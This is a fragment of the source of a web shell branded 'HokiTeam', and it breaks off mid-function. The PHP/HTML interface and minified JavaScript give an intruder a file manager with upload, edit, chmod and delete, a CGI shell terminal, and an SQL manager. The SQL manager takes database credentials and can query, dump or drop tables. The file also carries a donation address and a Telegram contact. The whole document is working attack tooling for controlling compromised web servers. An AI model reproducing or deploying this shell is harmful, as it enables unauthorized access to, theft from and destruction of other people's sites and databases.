<input type='hidden' name='charset' value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong> Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value=' '></form><div id='hoki-copyright'><span class='copyright'>[ ./HokiTeam © 2012-".date('Y')." ]</span><br><span><a href='javascript:void(0);' onclick='alert(\"BTC: bc1qwyj2puss7p9dc9gp5r9t8evpqt4tyxupazayrv\");' style='color: #E91E63;text-decoration: none;'>Donate Us !</a></span> <span style='letter-spacing: 2px;color: #dfff00;'>kiseryouni[at]gmail.com</span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https://telegram.me/kiseryouni'>@kiseryouni</a></span></div></td>
</tr>
</table>
</div>
<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>
<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>
<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>
<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>
<div id='update-content'></div>
<div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>
<div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>
<div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>
<div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>
<div id='rightclick_menu'>
<a target='_blank' href='' name='newtab'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Open in new tab</a>
<a target='_blank' href='' name='link'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Open file directly</a>
<a href='javascript:void(0);' name='download'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Download</a>
<a href='' name='view'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> View</a>
<a href='javascript:void(0);' onclick='hokiSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> View Archive</a>
<a href='' name='edit'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Edit</a>
<a href='javascript:void(0);' onclick='hokiPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Move</a>
<a href='javascript:void(0);' onclick='hokiPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Copy</a>
<a href='javascript:void(0);' onclick='hokiPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Rename</a>
<a href='javascript:void(0);' onclick='hokiPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Modify</a>
<a href='javascript:void(0);' onclick='hokiPopupAction(this, \"permission\");' name='permission'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Change Permissions</a>
<a href='javascript:void(0);' onclick='hokiSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Compress</a>
<a href='javascript:void(0);' onclick='hokiSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Extract</a>
<a href='javascript:void(0);' name='delete'><img src=\"https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png\"> Delete</a>
</div>
<div id=\"filesman-tab-full-path\"></div>
<div id='alert-area' class='alert-area'></div>
<div class='cl-popup-fixed' style='display:none;'>
<div id='shortcutMenu-holder'>
<div class='popup-head'></div>
<form autocomplete='off' onSubmit='return false;'>
<label class='old-path-lbl'></label>
<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>
<label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>
<input type='text' name='fname'>
<div class='perm-table-holder'>
<table>
<tbody>
<tr>
<td><b>Mode</b></td>
<td>User</td>
<td>Group</td>
<td>World</td>
</tr>
<tr>
<td>Read</td>
<td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>
<td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>
<td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td></tr>
<tr>
<td>Write</td>
<td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>
<td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>
<td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>
</tr>
<tr>
<td>Execute</td>
<td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>
<td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>
<td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>
</tr>
<tr>
<td>Permission</td>
<td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>
<td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>
<td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>
</tr>
</tbody>
</table>
</div>
</form>
<div class='popup-foot'>
<button style='background: #2b5225;' name='accept' action='' onclick='hokiPopUpDoAction(this);'></button>
<button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>
</div>
</div>
</div>";?>
<script>
function hokiMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:hokib64("Sql_manager_api"),c_:hokib64(c_),hoki1:hokib64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("hoki2")&&"load_data"!=e.post.hoki2&&"page"!=e.post.hoki2&&"edit"!=e.post.hoki2&&"delete"!=e.post.hoki2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=hokib64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";hokiloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){hokiloader(e.db_id,"none"),t(a)},!0,e.db_id)}function hokiMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function hokiMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;hokiMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{hoki2:"load_all_tables",hoki3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);hokiMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?hokiMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in hokiMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)hokiMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)hokiMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function hokiMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function hokiMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?hokiMysqlTableMode(a,t):hokiMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{hoki2:"load_tables",hoki3:i}},function(e){0!=e.length&&hokiMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function hokiMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\[\]]").forEach(function(e){e.checked=i})}function hokiMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function hokiMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\[\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&hokiMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{hoki2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?hokiMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function hokiMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="hokiMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'> <a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"hokiLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":" ")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="hokiMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="hokiMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="hokiMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function hokiMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;hokiMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{hoki2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),hokiMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",hokiMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function hokiMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function hokiMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="<<",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML=">>",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function hokiMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function hokiLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");hokiMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{hoki2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>></option><option value='>='>>=</option><option value='<'><</option><option value='<='><=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=hokiMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='hokiMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='hokiMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='hokiMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='hokiMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='hokiMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='hokiMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",hokiMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",hokiMysqlReportBuilder(i,e)}})}function hokiMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,hokiMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{hoki2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function hokiMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),hokiMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{hoki2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),hokiMysqlReportBuilder(a,e),hokiMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function hokiMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");hokiMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{hoki2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='hokiMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,hokiMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function hokiMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\[\]]").forEach(function(t){t.checked=e.checked})}function hokiMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\[\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;hokiMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{hoki2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\[\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function hokiMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,hokiMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{hoki2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function hokiMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function hokiMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");hokiMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{hoki2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),hokiMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function hokiRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function hokiLogOut(){hokiRemoveCookie("HokiUser"),hokiRemoveCookie("HokiPass"),location.reload()}var hokiAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var 